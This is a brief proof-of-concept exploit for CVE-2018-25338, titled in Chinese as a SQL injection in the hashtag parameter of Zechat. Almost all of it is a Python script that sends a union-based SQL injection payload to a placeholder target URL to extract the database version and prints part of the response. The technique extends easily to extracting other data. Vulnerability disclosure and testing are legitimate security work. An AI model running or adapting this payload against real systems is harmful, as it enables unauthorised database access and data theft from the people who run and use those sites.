CVE-2018-25338 Zechat hashtag参数SQL注入漏洞

# PoC for CVE-2018-25338 # Vulnerable Parameter: hashtag # Description: SQL Injection via Union Based import requests target_url = "http://target-endpoint/path/to/zechat" # Replace with actual target # Payload to extract database version payload = "test' UNION SELECT 1, version(), 3-- -" params = { "hashtag": payload } try: response = requests.get(target_url, params=params) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Check response for database version or errors.") print(response.text[:200]) # Print snippet of response except Exception as e: print(f"[-] An error occurred: {e}")